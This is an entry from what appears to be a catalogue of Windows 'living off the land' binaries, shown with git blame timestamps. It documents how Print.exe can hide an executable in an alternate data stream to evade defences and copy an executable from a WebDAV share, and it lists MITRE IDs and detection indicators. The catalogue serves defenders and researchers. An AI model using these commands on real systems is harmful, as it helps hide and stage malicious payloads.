2018-06-09 00:15:06 +02:00
|
|
|
---
|
|
|
|
Name: Print.exe
|
2018-09-24 21:59:43 +02:00
|
|
|
Description: Used by Windows to send files to the printer
|
|
|
|
Author: 'Oddvar Moe'
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2018-05-25
|
2018-06-09 00:15:06 +02:00
|
|
|
Commands:
|
|
|
|
- Command: print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe
|
|
|
|
Description: Copy file.exe into the Alternate Data Stream (ADS) of file.txt.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Hide binary file in alternate data stream to potentially bypass defensive counter measures
|
2018-09-26 09:34:01 +02:00
|
|
|
Category: ADS
|
2018-09-24 21:59:43 +02:00
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2018-09-24 21:59:43 +02:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe
|
|
|
|
Description: Copy FileToCopy.exe to the target C:\ADS\CopyOfFile.exe
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Copy files
|
|
|
|
Category: Copy
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1105
|
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe
|
|
|
|
Description: Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Copy/Download file from remote server
|
|
|
|
Category: Copy
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1105
|
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
|
2018-12-10 14:28:12 +01:00
|
|
|
Full_Path:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Path: C:\Windows\System32\print.exe
|
|
|
|
- Path: C:\Windows\SysWOW64\print.exe
|
2021-01-10 16:04:52 +01:00
|
|
|
Code_Sample:
|
2021-11-15 14:19:03 +01:00
|
|
|
- Code:
|
2018-09-24 21:59:43 +02:00
|
|
|
Detection:
|
2021-11-15 14:19:03 +01:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_print.yml
|
|
|
|
- IOC: Print.exe retrieving files from internet
|
|
|
|
- IOC: Print.exe creating executable files on disk
|
2018-06-09 00:15:06 +02:00
|
|
|
Resources:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Link: https://twitter.com/Oddvarmoe/status/985518877076541440
|
|
|
|
- Link: https://www.youtube.com/watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410
|
|
|
|
Acknowledgement:
|
|
|
|
- Person: Oddvar Moe
|
|
|
|
Handle: '@oddvarmoe'
|